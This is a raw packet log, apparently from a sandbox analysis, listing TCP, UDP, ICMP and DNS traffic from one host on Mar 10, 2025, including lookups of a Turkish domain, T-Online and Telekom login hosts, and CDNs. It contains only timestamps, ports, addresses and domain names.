Mar 10, 2025 13:58:21.720890045 CET	49709	443	192.168.2.6	172.67.41.16
Mar 10, 2025 13:58:21.721146107 CET	49709	443	192.168.2.6	172.67.41.16
Mar 10, 2025 13:58:21.721167088 CET	443	49709	172.67.41.16	192.168.2.6
Mar 10, 2025 13:58:42.593998909 CET	52431	53	192.168.2.6	1.1.1.1
Mar 10, 2025 13:58:42.599026918 CET	53	52431	1.1.1.1	192.168.2.6
Mar 10, 2025 13:58:42.599153996 CET	52431	53	192.168.2.6	1.1.1.1
Mar 10, 2025 13:58:42.599183083 CET	52431	53	192.168.2.6	1.1.1.1
Mar 10, 2025 13:58:42.604185104 CET	53	52431	1.1.1.1	192.168.2.6
Mar 10, 2025 13:58:43.082392931 CET	53	52431	1.1.1.1	192.168.2.6
Mar 10, 2025 13:58:43.083336115 CET	52431	53	192.168.2.6	1.1.1.1
Mar 10, 2025 13:58:43.085968018 CET	52432	443	192.168.2.6	142.251.116.94
Mar 10, 2025 13:58:43.086018085 CET	443	52432	142.251.116.94	192.168.2.6
Mar 10, 2025 13:58:43.086133003 CET	52432	443	192.168.2.6	142.251.116.94
Mar 10, 2025 13:58:43.086324930 CET	52433	443	192.168.2.6	142.251.116.94
Mar 10, 2025 13:58:43.086378098 CET	443	52433	142.251.116.94	192.168.2.6
Mar 10, 2025 13:58:43.086431026 CET	52433	443	192.168.2.6	142.251.116.94
Mar 10, 2025 13:58:43.086709976 CET	52432	443	192.168.2.6	142.251.116.94
Mar 10, 2025 13:58:43.086724043 CET	443	52432	142.251.116.94	192.168.2.6
Mar 10, 2025 13:58:43.087094069 CET	52433	443	192.168.2.6	142.251.116.94
Mar 10, 2025 13:58:43.087110996 CET	443	52433	142.251.116.94	192.168.2.6
Mar 10, 2025 13:58:43.090691090 CET	53	52431	1.1.1.1	192.168.2.6
Mar 10, 2025 13:58:43.090749979 CET	52431	53	192.168.2.6	1.1.1.1
Mar 10, 2025 13:58:44.983753920 CET	443	52433	142.251.116.94	192.168.2.6
Mar 10, 2025 13:58:44.984316111 CET	52433	443	192.168.2.6	142.251.116.94
Mar 10, 2025 13:58:44.984345913 CET	443	52433	142.251.116.94	192.168.2.6
Mar 10, 2025 13:58:44.985341072 CET	443	52433	142.251.116.94	192.168.2.6
Mar 10, 2025 13:58:44.985423088 CET	52433	443	192.168.2.6	142.251.116.94
Mar 10, 2025 13:58:44.986629009 CET	52433	443	192.168.2.6	142.251.116.94
Mar 10, 2025 13:58:44.986681938 CET	443	52433	142.251.116.94	192.168.2.6
Mar 10, 2025 13:58:44.986933947 CET	52433	443	192.168.2.6	142.251.116.94
Mar 10, 2025 13:58:44.986942053 CET	443	52433	142.251.116.94	192.168.2.6
Mar 10, 2025 13:58:45.001384020 CET	443	52432	142.251.116.94	192.168.2.6
Mar 10, 2025 13:58:45.001727104 CET	52432	443	192.168.2.6	142.251.116.94
Mar 10, 2025 13:58:45.001743078 CET	443	52432	142.251.116.94	192.168.2.6
Mar 10, 2025 13:58:45.002815008 CET	443	52432	142.251.116.94	192.168.2.6
Mar 10, 2025 13:58:45.002887011 CET	52432	443	192.168.2.6	142.251.116.94
Mar 10, 2025 13:58:45.003247023 CET	52432	443	192.168.2.6	142.251.116.94
Mar 10, 2025 13:58:45.003302097 CET	443	52432	142.251.116.94	192.168.2.6
Mar 10, 2025 13:58:45.003403902 CET	52432	443	192.168.2.6	142.251.116.94
Mar 10, 2025 13:58:45.003415108 CET	443	52432	142.251.116.94	192.168.2.6
Mar 10, 2025 13:58:45.039210081 CET	52433	443	192.168.2.6	142.251.116.94
Mar 10, 2025 13:58:45.054884911 CET	52432	443	192.168.2.6	142.251.116.94
Mar 10, 2025 13:58:45.472681046 CET	443	52433	142.251.116.94	192.168.2.6
Mar 10, 2025 13:58:45.473409891 CET	52433	443	192.168.2.6	142.251.116.94
Mar 10, 2025 13:58:45.473460913 CET	443	52433	142.251.116.94	192.168.2.6
Mar 10, 2025 13:58:45.473510027 CET	52433	443	192.168.2.6	142.251.116.94
Mar 10, 2025 13:58:45.514771938 CET	443	52432	142.251.116.94	192.168.2.6
Mar 10, 2025 13:58:45.515513897 CET	52432	443	192.168.2.6	142.251.116.94
Mar 10, 2025 13:58:45.515558004 CET	443	52432	142.251.116.94	192.168.2.6
Mar 10, 2025 13:58:45.515719891 CET	52432	443	192.168.2.6	142.251.116.94
Mar 10, 2025 13:58:54.544303894 CET	52434	443	192.168.2.6	142.251.116.94
Mar 10, 2025 13:58:54.544357061 CET	443	52434	142.251.116.94	192.168.2.6
Mar 10, 2025 13:58:54.544416904 CET	52434	443	192.168.2.6	142.251.116.94
Mar 10, 2025 13:58:54.544800043 CET	52434	443	192.168.2.6	142.251.116.94
Mar 10, 2025 13:58:54.544811010 CET	443	52434	142.251.116.94	192.168.2.6
Mar 10, 2025 13:58:56.483382940 CET	443	52434	142.251.116.94	192.168.2.6
Mar 10, 2025 13:58:56.483747005 CET	52434	443	192.168.2.6	142.251.116.94
Mar 10, 2025 13:58:56.483767033 CET	443	52434	142.251.116.94	192.168.2.6
Mar 10, 2025 13:58:56.485017061 CET	443	52434	142.251.116.94	192.168.2.6
Mar 10, 2025 13:58:56.485162020 CET	52434	443	192.168.2.6	142.251.116.94
Mar 10, 2025 13:58:56.485529900 CET	52434	443	192.168.2.6	142.251.116.94
Mar 10, 2025 13:58:56.485605001 CET	443	52434	142.251.116.94	192.168.2.6
Mar 10, 2025 13:58:56.485836029 CET	52434	443	192.168.2.6	142.251.116.94
Mar 10, 2025 13:58:56.485843897 CET	443	52434	142.251.116.94	192.168.2.6
Mar 10, 2025 13:58:56.485869884 CET	52434	443	192.168.2.6	142.251.116.94
Mar 10, 2025 13:58:56.532341957 CET	443	52434	142.251.116.94	192.168.2.6
Mar 10, 2025 13:58:56.539544106 CET	52434	443	192.168.2.6	142.251.116.94
Mar 10, 2025 13:58:56.977972984 CET	443	52434	142.251.116.94	192.168.2.6
Mar 10, 2025 13:58:56.978486061 CET	52434	443	192.168.2.6	142.251.116.94
Mar 10, 2025 13:58:56.978535891 CET	443	52434	142.251.116.94	192.168.2.6
Mar 10, 2025 13:58:56.978610992 CET	52434	443	192.168.2.6	142.251.116.94
Mar 10, 2025 13:59:25.837412119 CET	49679	443	192.168.2.6	20.191.45.158

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Mar 10, 2025 13:56:12.359579086 CET	53	58051	1.1.1.1	192.168.2.6
Mar 10, 2025 13:56:12.440768957 CET	61230	53	192.168.2.6	1.1.1.1
Mar 10, 2025 13:56:12.440937042 CET	59151	53	192.168.2.6	1.1.1.1
Mar 10, 2025 13:56:12.447379112 CET	53	61720	1.1.1.1	192.168.2.6
Mar 10, 2025 13:56:12.567388058 CET	53	61230	1.1.1.1	192.168.2.6
Mar 10, 2025 13:56:12.695519924 CET	53	59151	1.1.1.1	192.168.2.6
Mar 10, 2025 13:56:15.854312897 CET	53	61691	1.1.1.1	192.168.2.6
Mar 10, 2025 13:56:15.978823900 CET	53	65105	1.1.1.1	192.168.2.6
Mar 10, 2025 13:56:16.618657112 CET	64356	53	192.168.2.6	1.1.1.1
Mar 10, 2025 13:56:16.618815899 CET	60679	53	192.168.2.6	1.1.1.1
Mar 10, 2025 13:56:16.626003981 CET	53	60679	1.1.1.1	192.168.2.6
Mar 10, 2025 13:56:16.626147032 CET	53	64356	1.1.1.1	192.168.2.6
Mar 10, 2025 13:56:16.964190960 CET	58784	53	192.168.2.6	1.1.1.1
Mar 10, 2025 13:56:16.964437962 CET	59379	53	192.168.2.6	1.1.1.1
Mar 10, 2025 13:56:16.965164900 CET	50270	53	192.168.2.6	1.1.1.1
Mar 10, 2025 13:56:16.965313911 CET	51272	53	192.168.2.6	1.1.1.1
Mar 10, 2025 13:56:16.965759039 CET	62766	53	192.168.2.6	1.1.1.1
Mar 10, 2025 13:56:16.965904951 CET	50008	53	192.168.2.6	1.1.1.1
Mar 10, 2025 13:56:16.966315985 CET	64560	53	192.168.2.6	1.1.1.1
Mar 10, 2025 13:56:16.966475010 CET	60792	53	192.168.2.6	1.1.1.1
Mar 10, 2025 13:56:16.966839075 CET	59724	53	192.168.2.6	1.1.1.1
Mar 10, 2025 13:56:16.966974974 CET	65422	53	192.168.2.6	1.1.1.1
Mar 10, 2025 13:56:16.967350006 CET	56701	53	192.168.2.6	1.1.1.1
Mar 10, 2025 13:56:16.967514038 CET	54544	53	192.168.2.6	1.1.1.1
Mar 10, 2025 13:56:16.971522093 CET	53	59379	1.1.1.1	192.168.2.6
Mar 10, 2025 13:56:16.971725941 CET	53	58784	1.1.1.1	192.168.2.6
Mar 10, 2025 13:56:16.972110987 CET	53	50270	1.1.1.1	192.168.2.6
Mar 10, 2025 13:56:16.973232031 CET	53	51272	1.1.1.1	192.168.2.6
Mar 10, 2025 13:56:16.973364115 CET	53	50008	1.1.1.1	192.168.2.6
Mar 10, 2025 13:56:16.973375082 CET	53	64560	1.1.1.1	192.168.2.6
Mar 10, 2025 13:56:16.973932981 CET	53	62766	1.1.1.1	192.168.2.6
Mar 10, 2025 13:56:16.973944902 CET	53	60792	1.1.1.1	192.168.2.6
Mar 10, 2025 13:56:16.973974943 CET	53	65422	1.1.1.1	192.168.2.6
Mar 10, 2025 13:56:16.974056959 CET	53	59724	1.1.1.1	192.168.2.6
Mar 10, 2025 13:56:16.974293947 CET	53	56701	1.1.1.1	192.168.2.6
Mar 10, 2025 13:56:16.974706888 CET	53	54544	1.1.1.1	192.168.2.6
Mar 10, 2025 13:56:16.978071928 CET	53	60418	1.1.1.1	192.168.2.6
Mar 10, 2025 13:56:19.455118895 CET	53	54217	1.1.1.1	192.168.2.6
Mar 10, 2025 13:56:19.601835012 CET	49640	53	192.168.2.6	1.1.1.1
Mar 10, 2025 13:56:19.602144957 CET	55520	53	192.168.2.6	1.1.1.1
Mar 10, 2025 13:56:19.608822107 CET	53	49640	1.1.1.1	192.168.2.6
Mar 10, 2025 13:56:19.609889030 CET	53	55520	1.1.1.1	192.168.2.6
Mar 10, 2025 13:56:32.891585112 CET	53	50286	1.1.1.1	192.168.2.6
Mar 10, 2025 13:56:51.925218105 CET	53	59448	1.1.1.1	192.168.2.6
Mar 10, 2025 13:57:08.749527931 CET	138	138	192.168.2.6	192.168.2.255
Mar 10, 2025 13:57:11.895061970 CET	53	65042	1.1.1.1	192.168.2.6
Mar 10, 2025 13:57:14.360652924 CET	53	64064	1.1.1.1	192.168.2.6
Mar 10, 2025 13:57:17.157430887 CET	53	57766	1.1.1.1	192.168.2.6
Mar 10, 2025 13:57:22.545021057 CET	62460	53	192.168.2.6	1.1.1.1
Mar 10, 2025 13:57:22.545270920 CET	58867	53	192.168.2.6	1.1.1.1
Mar 10, 2025 13:57:22.552171946 CET	53	62460	1.1.1.1	192.168.2.6
Mar 10, 2025 13:57:22.552550077 CET	53	58867	1.1.1.1	192.168.2.6
Mar 10, 2025 13:57:23.570539951 CET	65074	53	192.168.2.6	1.1.1.1
Mar 10, 2025 13:57:23.570779085 CET	62664	53	192.168.2.6	1.1.1.1
Mar 10, 2025 13:57:23.577538013 CET	53	65074	1.1.1.1	192.168.2.6
Mar 10, 2025 13:57:23.577877998 CET	53	62664	1.1.1.1	192.168.2.6
Mar 10, 2025 13:57:25.602261066 CET	61585	53	192.168.2.6	1.1.1.1
Mar 10, 2025 13:57:25.609622002 CET	53	61585	1.1.1.1	192.168.2.6
Mar 10, 2025 13:57:26.602212906 CET	61585	53	192.168.2.6	1.1.1.1
Mar 10, 2025 13:57:26.610832930 CET	53	61585	1.1.1.1	192.168.2.6
Mar 10, 2025 13:57:27.602355003 CET	61585	53	192.168.2.6	1.1.1.1
Mar 10, 2025 13:57:27.609956026 CET	53	61585	1.1.1.1	192.168.2.6
Mar 10, 2025 13:57:29.602288008 CET	61585	53	192.168.2.6	1.1.1.1
Mar 10, 2025 13:57:29.609642029 CET	53	61585	1.1.1.1	192.168.2.6
Mar 10, 2025 13:57:33.617225885 CET	61585	53	192.168.2.6	1.1.1.1
Mar 10, 2025 13:57:33.624588013 CET	53	61585	1.1.1.1	192.168.2.6
Mar 10, 2025 13:57:38.544322014 CET	54778	53	192.168.2.6	1.1.1.1
Mar 10, 2025 13:57:38.544630051 CET	61655	53	192.168.2.6	1.1.1.1
Mar 10, 2025 13:57:38.551666021 CET	53	54778	1.1.1.1	192.168.2.6
Mar 10, 2025 13:57:38.553267956 CET	53	61655	1.1.1.1	192.168.2.6
Mar 10, 2025 13:57:39.570425034 CET	62720	53	192.168.2.6	1.1.1.1
Mar 10, 2025 13:57:39.577783108 CET	53	62720	1.1.1.1	192.168.2.6
Mar 10, 2025 13:57:41.602615118 CET	61884	53	192.168.2.6	1.1.1.1
Mar 10, 2025 13:57:41.610775948 CET	53	61884	1.1.1.1	192.168.2.6
Mar 10, 2025 13:57:42.617147923 CET	61884	53	192.168.2.6	1.1.1.1
Mar 10, 2025 13:57:42.624577045 CET	53	61884	1.1.1.1	192.168.2.6
Mar 10, 2025 13:57:43.632884979 CET	61884	53	192.168.2.6	1.1.1.1
Mar 10, 2025 13:57:43.640415907 CET	53	61884	1.1.1.1	192.168.2.6
Mar 10, 2025 13:57:44.110605001 CET	53	61924	1.1.1.1	192.168.2.6
Mar 10, 2025 13:57:45.633083105 CET	61884	53	192.168.2.6	1.1.1.1
Mar 10, 2025 13:57:45.640439987 CET	53	61884	1.1.1.1	192.168.2.6
Mar 10, 2025 13:57:49.648219109 CET	61884	53	192.168.2.6	1.1.1.1
Mar 10, 2025 13:57:49.656246901 CET	53	61884	1.1.1.1	192.168.2.6
Mar 10, 2025 13:57:54.544102907 CET	56962	53	192.168.2.6	1.1.1.1
Mar 10, 2025 13:57:54.544377089 CET	58095	53	192.168.2.6	1.1.1.1
Mar 10, 2025 13:57:54.551692963 CET	53	56962	1.1.1.1	192.168.2.6
Mar 10, 2025 13:57:54.552601099 CET	53	58095	1.1.1.1	192.168.2.6
Mar 10, 2025 13:57:55.555805922 CET	53255	53	192.168.2.6	1.1.1.1
Mar 10, 2025 13:57:55.563374996 CET	53	53255	1.1.1.1	192.168.2.6
Mar 10, 2025 13:57:57.587002039 CET	54261	53	192.168.2.6	1.1.1.1
Mar 10, 2025 13:57:57.594692945 CET	53	54261	1.1.1.1	192.168.2.6
Mar 10, 2025 13:57:58.602222919 CET	54261	53	192.168.2.6	1.1.1.1
Mar 10, 2025 13:57:58.612154961 CET	53	54261	1.1.1.1	192.168.2.6
Mar 10, 2025 13:57:59.617706060 CET	54261	53	192.168.2.6	1.1.1.1
Mar 10, 2025 13:57:59.624851942 CET	53	54261	1.1.1.1	192.168.2.6
Mar 10, 2025 13:58:01.633193016 CET	54261	53	192.168.2.6	1.1.1.1
Mar 10, 2025 13:58:01.640480995 CET	53	54261	1.1.1.1	192.168.2.6
Mar 10, 2025 13:58:05.633760929 CET	54261	53	192.168.2.6	1.1.1.1
Mar 10, 2025 13:58:05.640793085 CET	53	54261	1.1.1.1	192.168.2.6
Mar 10, 2025 13:58:10.544049978 CET	62458	53	192.168.2.6	1.1.1.1
Mar 10, 2025 13:58:10.544425964 CET	49709	53	192.168.2.6	1.1.1.1
Mar 10, 2025 13:58:10.551248074 CET	53	62458	1.1.1.1	192.168.2.6
Mar 10, 2025 13:58:10.551520109 CET	53	49709	1.1.1.1	192.168.2.6
Mar 10, 2025 13:58:11.556912899 CET	61833	53	192.168.2.6	1.1.1.1
Mar 10, 2025 13:58:11.564604998 CET	53	61833	1.1.1.1	192.168.2.6
Mar 10, 2025 13:58:13.587208033 CET	52003	53	192.168.2.6	1.1.1.1
Mar 10, 2025 13:58:13.594760895 CET	53	52003	1.1.1.1	192.168.2.6
Mar 10, 2025 13:58:14.602283001 CET	52003	53	192.168.2.6	1.1.1.1
Mar 10, 2025 13:58:14.610045910 CET	53	52003	1.1.1.1	192.168.2.6
Mar 10, 2025 13:58:15.617949009 CET	52003	53	192.168.2.6	1.1.1.1
Mar 10, 2025 13:58:15.625202894 CET	53	52003	1.1.1.1	192.168.2.6
Mar 10, 2025 13:58:17.633548021 CET	52003	53	192.168.2.6	1.1.1.1
Mar 10, 2025 13:58:17.641254902 CET	53	52003	1.1.1.1	192.168.2.6
Mar 10, 2025 13:58:21.649085999 CET	52003	53	192.168.2.6	1.1.1.1
Mar 10, 2025 13:58:21.656322956 CET	53	52003	1.1.1.1	192.168.2.6
Mar 10, 2025 13:58:26.548702955 CET	59087	53	192.168.2.6	1.1.1.1
Mar 10, 2025 13:58:26.549010038 CET	61507	53	192.168.2.6	1.1.1.1
Mar 10, 2025 13:58:26.555965900 CET	53	59087	1.1.1.1	192.168.2.6
Mar 10, 2025 13:58:26.556370020 CET	53	61507	1.1.1.1	192.168.2.6
Mar 10, 2025 13:58:27.571172953 CET	62950	53	192.168.2.6	1.1.1.1
Mar 10, 2025 13:58:27.578803062 CET	53	62950	1.1.1.1	192.168.2.6
Mar 10, 2025 13:58:28.459266901 CET	53	55975	1.1.1.1	192.168.2.6
Mar 10, 2025 13:58:29.602279902 CET	62796	53	192.168.2.6	1.1.1.1
Mar 10, 2025 13:58:29.609886885 CET	53	62796	1.1.1.1	192.168.2.6
Mar 10, 2025 13:58:30.617284060 CET	62796	53	192.168.2.6	1.1.1.1
Mar 10, 2025 13:58:30.624733925 CET	53	62796	1.1.1.1	192.168.2.6
Mar 10, 2025 13:58:31.632826090 CET	62796	53	192.168.2.6	1.1.1.1
Mar 10, 2025 13:58:31.640414000 CET	53	62796	1.1.1.1	192.168.2.6
Mar 10, 2025 13:58:33.632930040 CET	62796	53	192.168.2.6	1.1.1.1
Mar 10, 2025 13:58:33.640404940 CET	53	62796	1.1.1.1	192.168.2.6
Mar 10, 2025 13:58:37.633405924 CET	62796	53	192.168.2.6	1.1.1.1
Mar 10, 2025 13:58:37.640717983 CET	53	62796	1.1.1.1	192.168.2.6
Mar 10, 2025 13:58:38.543920040 CET	61292	53	192.168.2.6	1.1.1.1
Mar 10, 2025 13:58:38.544284105 CET	64606	53	192.168.2.6	1.1.1.1
Mar 10, 2025 13:58:38.551018953 CET	53	61292	1.1.1.1	192.168.2.6
Mar 10, 2025 13:58:38.552787066 CET	53	64606	1.1.1.1	192.168.2.6
Mar 10, 2025 13:58:39.555452108 CET	63750	53	192.168.2.6	1.1.1.1
Mar 10, 2025 13:58:39.555620909 CET	58752	53	192.168.2.6	1.1.1.1
Mar 10, 2025 13:58:39.562696934 CET	53	63750	1.1.1.1	192.168.2.6
Mar 10, 2025 13:58:39.564611912 CET	53	58752	1.1.1.1	192.168.2.6
Mar 10, 2025 13:58:41.587193012 CET	53038	53	192.168.2.6	1.1.1.1
Mar 10, 2025 13:58:41.594399929 CET	53	53038	1.1.1.1	192.168.2.6
Mar 10, 2025 13:58:42.586539030 CET	53038	53	192.168.2.6	1.1.1.1
Mar 10, 2025 13:58:42.593486071 CET	53	53038	1.1.1.1	192.168.2.6

ICMP Packets

Timestamp	Source IP	Dest IP	Checksum	Code	Type
Mar 10, 2025 13:56:12.695605040 CET	192.168.2.6	1.1.1.1	c239	(Port unreachable)	Destination Unreachable

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Mar 10, 2025 13:56:12.440768957 CET	192.168.2.6	1.1.1.1	0x51d6	Standard query (0)	said.yasarmuhendislik.com.tr	A (IP address)	IN (0x0001)	false
Mar 10, 2025 13:56:12.440937042 CET	192.168.2.6	1.1.1.1	0x17ba	Standard query (0)	said.yasarmuhendislik.com.tr	65	IN (0x0001)	false
Mar 10, 2025 13:56:16.618657112 CET	192.168.2.6	1.1.1.1	0x6a14	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Mar 10, 2025 13:56:16.618815899 CET	192.168.2.6	1.1.1.1	0xfeb6	Standard query (0)	www.google.com	65	IN (0x0001)	false
Mar 10, 2025 13:56:16.964190960 CET	192.168.2.6	1.1.1.1	0xd47d	Standard query (0)	email.t-online.de	A (IP address)	IN (0x0001)	false
Mar 10, 2025 13:56:16.964437962 CET	192.168.2.6	1.1.1.1	0x372a	Standard query (0)	email.t-online.de	65	IN (0x0001)	false
Mar 10, 2025 13:56:16.965164900 CET	192.168.2.6	1.1.1.1	0x8c78	Standard query (0)	accounts.login.idm.telekom.com	A (IP address)	IN (0x0001)	false
Mar 10, 2025 13:56:16.965313911 CET	192.168.2.6	1.1.1.1	0xa87d	Standard query (0)	accounts.login.idm.telekom.com	65	IN (0x0001)	false
Mar 10, 2025 13:56:16.965759039 CET	192.168.2.6	1.1.1.1	0x10df	Standard query (0)	cdn.tailwindcss.com	A (IP address)	IN (0x0001)	false
Mar 10, 2025 13:56:16.965904951 CET	192.168.2.6	1.1.1.1	0x3d1	Standard query (0)	cdn.tailwindcss.com	65	IN (0x0001)	false
Mar 10, 2025 13:56:16.966315985 CET	192.168.2.6	1.1.1.1	0x996f	Standard query (0)	code.jquery.com	A (IP address)	IN (0x0001)	false
Mar 10, 2025 13:56:16.966475010 CET	192.168.2.6	1.1.1.1	0xc2e8	Standard query (0)	code.jquery.com	65	IN (0x0001)	false
Mar 10, 2025 13:56:16.966839075 CET	192.168.2.6	1.1.1.1	0xb78e	Standard query (0)	cdnjs.cloudflare.com	A (IP address)	IN (0x0001)	false
Mar 10, 2025 13:56:16.966974974 CET	192.168.2.6	1.1.1.1	0x3b69	Standard query (0)	cdnjs.cloudflare.com	65	IN (0x0001)	false
Mar 10, 2025 13:56:16.967350006 CET	192.168.2.6	1.1.1.1	0x7920	Standard query (0)	maxcdn.bootstrapcdn.com	A (IP address)	IN (0x0001)	false
Mar 10, 2025 13:56:16.967514038 CET	192.168.2.6	1.1.1.1	0xa90e	Standard query (0)	maxcdn.bootstrapcdn.com	65	IN (0x0001)	false
Mar 10, 2025 13:56:19.601835012 CET	192.168.2.6	1.1.1.1	0x512e	Standard query (0)	email.t-online.de	A (IP address)	IN (0x0001)	false
Mar 10, 2025 13:56:19.602144957 CET	192.168.2.6	1.1.1.1	0xc5d3	Standard query (0)	email.t-online.de	65	IN (0x0001)	false
Mar 10, 2025 13:57:22.545021057 CET	192.168.2.6	1.1.1.1	0xb141	Standard query (0)	beacons.gcp.gvt2.com	A (IP address)	IN (0x0001)	false
Mar 10, 2025 13:57:22.545270920 CET	192.168.2.6	1.1.1.1	0xcce6	Standard query (0)	beacons.gcp.gvt2.com	65	IN (0x0001)	false
Mar 10, 2025 13:57:23.570539951 CET	192.168.2.6	1.1.1.1	0xec00	Standard query (0)	beacons.gcp.gvt2.com	A (IP address)	IN (0x0001)	false
Mar 10, 2025 13:57:23.570779085 CET	192.168.2.6	1.1.1.1	0x9f38	Standard query (0)	beacons.gcp.gvt2.com	65	IN (0x0001)	false
Mar 10, 2025 13:57:25.602261066 CET	192.168.2.6	1.1.1.1	0x7348	Standard query (0)	beacons.gcp.gvt2.com	A (IP address)	IN (0x0001)	false
Mar 10, 2025 13:57:26.602212906 CET	192.168.2.6	1.1.1.1	0x7348	Standard query (0)	beacons.gcp.gvt2.com	A (IP address)	IN (0x0001)	false
Mar 10, 2025 13:57:27.602355003 CET	192.168.2.6	1.1.1.1	0x7348	Standard query (0)	beacons.gcp.gvt2.com	A (IP address)	IN (0x0001)	false
Mar 10, 2025 13:57:29.602288008 CET	192.168.2.6	1.1.1.1	0x7348	Standard query (0)	beacons.gcp.gvt2.com	A (IP address)	IN (0x0001)	false
Mar 10, 2025 13:57:33.617225885 CET	192.168.2.6	1.1.1.1	0x7348	Standard query (0)	beacons.gcp.gvt2.com	A (IP address)	IN (0x0001)	false
Mar 10, 2025 13:57:38.544322014 CET	192.168.2.6	1.1.1.1	0xb2e8	Standard query (0)	beacons.gvt2.com	A (IP address)	IN (0x0001)	false
Mar 10, 2025 13:57:38.544630051 CET	192.168.2.6	1.1.1.1	0x6d34	Standard query (0)	beacons.gvt2.com	65	IN (0x0001)	false
Mar 10, 2025 13:57:39.570425034 CET	192.168.2.6	1.1.1.1	0x1255	Standard query (0)	beacons.gvt2.com	A (IP address)	IN (0x0001)	false
Mar 10, 2025 13:57:41.602615118 CET	192.168.2.6	1.1.1.1	0x5773	Standard query (0)	beacons.gvt2.com	A (IP address)	IN (0x0001)	false
Mar 10, 2025 13:57:42.617147923 CET	192.168.2.6	1.1.1.1	0x5773	Standard query (0)	beacons.gvt2.com	A (IP address)	IN (0x0001)	false
Mar 10, 2025 13:57:43.632884979 CET	192.168.2.6	1.1.1.1	0x5773	Standard query (0)	beacons.gvt2.com	A (IP address)	IN (0x0001)	false
Mar 10, 2025 13:57:45.633083105 CET	192.168.2.6	1.1.1.1	0x5773	Standard query (0)	beacons.gvt2.com	A (IP address)	IN (0x0001)	false
Mar 10, 2025 13:57:49.648219109 CET	192.168.2.6	1.1.1.1	0x5773	Standard query (0)	beacons.gvt2.com	A (IP address)	IN (0x0001)	false
Mar 10, 2025 13:57:54.544102907 CET	192.168.2.6	1.1.1.1	0x3f50	Standard query (0)	beacons2.gvt2.com	A (IP address)	IN (0x0001)	false
Mar 10, 2025 13:57:54.544377089 CET	192.168.2.6	1.1.1.1	0x24f	Standard query (0)	beacons2.gvt2.com	65	IN (0x0001)	false
Mar 10, 2025 13:57:55.555805922 CET	192.168.2.6	1.1.1.1	0x1926	Standard query (0)	beacons2.gvt2.com	A (IP address)	IN (0x0001)	false
Mar 10, 2025 13:57:57.587002039 CET	192.168.2.6	1.1.1.1	0xd9ce	Standard query (0)	beacons2.gvt2.com	A (IP address)	IN (0x0001)	false
Mar 10, 2025 13:57:58.602222919 CET	192.168.2.6	1.1.1.1	0xd9ce	Standard query (0)	beacons2.gvt2.com	A (IP address)	IN (0x0001)	false
Mar 10, 2025 13:57:59.617706060 CET	192.168.2.6	1.1.1.1	0xd9ce	Standard query (0)	beacons2.gvt2.com	A (IP address)	IN (0x0001)	false
Mar 10, 2025 13:58:01.633193016 CET	192.168.2.6	1.1.1.1	0xd9ce	Standard query (0)	beacons2.gvt2.com	A (IP address)	IN (0x0001)	false
Mar 10, 2025 13:58:05.633760929 CET	192.168.2.6	1.1.1.1	0xd9ce	Standard query (0)	beacons2.gvt2.com	A (IP address)	IN (0x0001)	false
Mar 10, 2025 13:58:10.544049978 CET	192.168.2.6	1.1.1.1	0x1b9c	Standard query (0)	beacons3.gvt2.com	A (IP address)	IN (0x0001)	false
Mar 10, 2025 13:58:10.544425964 CET	192.168.2.6	1.1.1.1	0x8cc3	Standard query (0)	beacons3.gvt2.com	65	IN (0x0001)	false
Mar 10, 2025 13:58:11.556912899 CET	192.168.2.6	1.1.1.1	0xce74	Standard query (0)	beacons3.gvt2.com	A (IP address)	IN (0x0001)	false
Mar 10, 2025 13:58:13.587208033 CET	192.168.2.6	1.1.1.1	0xc633	Standard query (0)	beacons3.gvt2.com	A (IP address)	IN (0x0001)	false
Mar 10, 2025 13:58:14.602283001 CET	192.168.2.6	1.1.1.1	0xc633	Standard query (0)	beacons3.gvt2.com	A (IP address)	IN (0x0001)	false
Mar 10, 2025 13:58:15.617949009 CET	192.168.2.6	1.1.1.1	0xc633	Standard query (0)	beacons3.gvt2.com	A (IP address)	IN (0x0001)	false
Mar 10, 2025 13:58:17.633548021 CET	192.168.2.6	1.1.1.1	0xc633	Standard query (0)	beacons3.gvt2.com	A (IP address)	IN (0x0001)	false
Mar 10, 2025 13:58:21.649085999 CET	192.168.2.6	1.1.1.1	0xc633	Standard query (0)	beacons3.gvt2.com	A (IP address)	IN (0x0001)	false
Mar 10, 2025 13:58:26.548702955 CET	192.168.2.6	1.1.1.1	0xb399	Standard query (0)	beacons4.gvt2.com	A (IP address)	IN (0x0001)	false
Mar 10, 2025 13:58:26.549010038 CET	192.168.2.6	1.1.1.1	0x2bde	Standard query (0)	beacons4.gvt2.com	65	IN (0x0001)	false
Mar 10, 2025 13:58:27.571172953 CET	192.168.2.6	1.1.1.1	0x62b4	Standard query (0)	beacons4.gvt2.com	A (IP address)	IN (0x0001)	false
Mar 10, 2025 13:58:29.602279902 CET	192.168.2.6	1.1.1.1	0xe609	Standard query (0)	beacons4.gvt2.com	A (IP address)	IN (0x0001)	false
Mar 10, 2025 13:58:30.617284060 CET	192.168.2.6	1.1.1.1	0xe609	Standard query (0)	beacons4.gvt2.com	A (IP address)	IN (0x0001)	false
Mar 10, 2025 13:58:31.632826090 CET	192.168.2.6	1.1.1.1	0xe609	Standard query (0)	beacons4.gvt2.com	A (IP address)	IN (0x0001)	false
Mar 10, 2025 13:58:33.632930040 CET	192.168.2.6	1.1.1.1	0xe609	Standard query (0)	beacons4.gvt2.com	A (IP address)	IN (0x0001)	false
Mar 10, 2025 13:58:37.633405924 CET	192.168.2.6	1.1.1.1	0xe609	Standard query (0)	beacons4.gvt2.com	A (IP address)	IN (0x0001)	false
Mar 10, 2025 13:58:38.543920040 CET	192.168.2.6	1.1.1.1	0xb2a3	Standard query (0)	beacons.gcp.gvt2.com	A (IP address)	IN (0x0001)	false
Mar 10, 2025 13:58:38.544284105 CET	192.168.2.6	1.1.1.1	0x5b1b	Standard query (0)	beacons.gcp.gvt2.com	65	IN (0x0001)	false
Mar 10, 2025 13:58:39.555452108 CET	192.168.2.6	1.1.1.1	0x92ea	Standard query (0)	beacons.gcp.gvt2.com	A (IP address)	IN (0x0001)	false
Mar 10, 2025 13:58:39.555620909 CET	192.168.2.6	1.1.1.1	0x6071	Standard query (0)	beacons.gcp.gvt2.com	65	IN (0x0001)	false
Mar 10, 2025 13:58:41.587193012 CET	192.168.2.6	1.1.1.1	0x63ef	Standard query (0)	beacons.gcp.gvt2.com	A (IP address)	IN (0x0001)	false
